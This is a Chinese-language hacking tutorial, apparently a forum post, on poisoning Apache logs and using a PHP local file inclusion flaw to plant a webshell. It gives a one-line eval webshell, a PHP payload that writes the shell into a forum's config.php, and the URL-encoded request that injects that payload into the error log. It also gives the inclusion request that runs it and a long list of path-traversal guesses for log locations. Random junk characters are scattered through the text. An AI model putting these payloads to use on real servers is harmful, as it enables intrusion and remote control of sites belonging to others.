php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
# |. D1 ~9 I) j. p1 V( m' R
比如还是这句一句话木马
( ?9 j( i- {' M' [+ o<?eval($_POST[cmd]);?>   
* L$ g1 D6 o. T6 Z4 I9 k8 f
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 n7 z6 e" L6 I. D  r; ^
* C& n! Y2 j9 K9 b! X$ \4 Q, ~<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
6 D1 i; G. L9 Tfclose($fp);?>   //在config.php里写入一句木马语句
- ]( @& `2 B# E; X# a! {1 ]1 l
- x. l# T' g- P我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
" E: t) F- {! z转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
3 o/ G& m6 d" o- B1 d9 e) ~fclose%28%24fp%29%3B%3F%3E
我们提交
( X0 ]* _5 K& nhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
! _: @' l0 ]5 U* H%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
+ [. p, C+ U+ }5 }%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
8 K/ [1 P8 J/ l, z
0 s. }+ Q. K* V# d这样就错误日志里就记录下了这行写入webshell的代码。
$ z6 P4 O+ N# _8 e我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
) J) c' p! B! L/ z9 q/ `$ H0 K
这样webshell就写入成功了，config.php里就写入一句木马语句
% m$ c5 U+ ^, _4 SOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

. g3 ~+ _" P. L7 y; QPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ i; L3 V) v" b% g4 x* m- D
0 D- m& S0 b$ B, v1 ^其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
  F3 R: p9 q8 |" X$ r7 ]../apache/logs/error.log
9 X$ M' x" t. Q../apache/logs/access.log
, q- G4 f  \4 {6 B8 I6 D../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
2 n5 m1 p5 z0 H* E# H../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
. t4 ]8 H8 s, p: `../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
- M$ J) I8 U! N# `& h../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
5 L, P. e0 D1 w* \3 q../../../../../../../../../../usr/local/apache/logs/access_log
. w6 {% K! D' ^8 G* y+ Q: r2 }/ n../../../../../../../../../../usr/local/apache/logs/access.log
4 G8 [) u1 r4 s) ~# u../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
8 T, u6 @3 c# F  [) D  ?. B$ U1 L+ p../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
* ]& m8 B1 {! ^/ h../../../../../../../../../../usr/local/apache/logs/error_log
5 G* y6 \5 I8 j../../../../../../../../../../usr/local/apache/logs/error.log
) K( C& _  ~. m4 A. K../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
' x8 \, F+ W  N  K6 X' h9 R3 v0 U../../../../../../../../../../var/log/access_log
( c& w- C4 f8 C../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
6 h! |- [2 G; D: c$ m/ g1 ]/var/log/httpd/error_log     
../apache/logs/error.log     
  m- Q) Z2 ?6 E, A' T../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
7 C$ P7 Q3 R& T% _( P5 K../../../apache/logs/access.log
* W" ^7 T# `! {1 j. \6 t! K/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
. ?+ y! U3 R$ x# t# b8 A$ g/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/ J5 k' j: d! c& r: z5 s' w/usr/local/apache/logs/access.log
/var/log/apache/access_log
) t4 Z9 ^, O  O  m+ X7 ~& g3 W5 `/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
" o  G# b. ]* s* d' p/usr/local/apache/logs/error.log
  e6 l7 `2 Y* j: o* {/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
" D4 L6 w! F1 J. H8 e* k2 @/var/log/error_log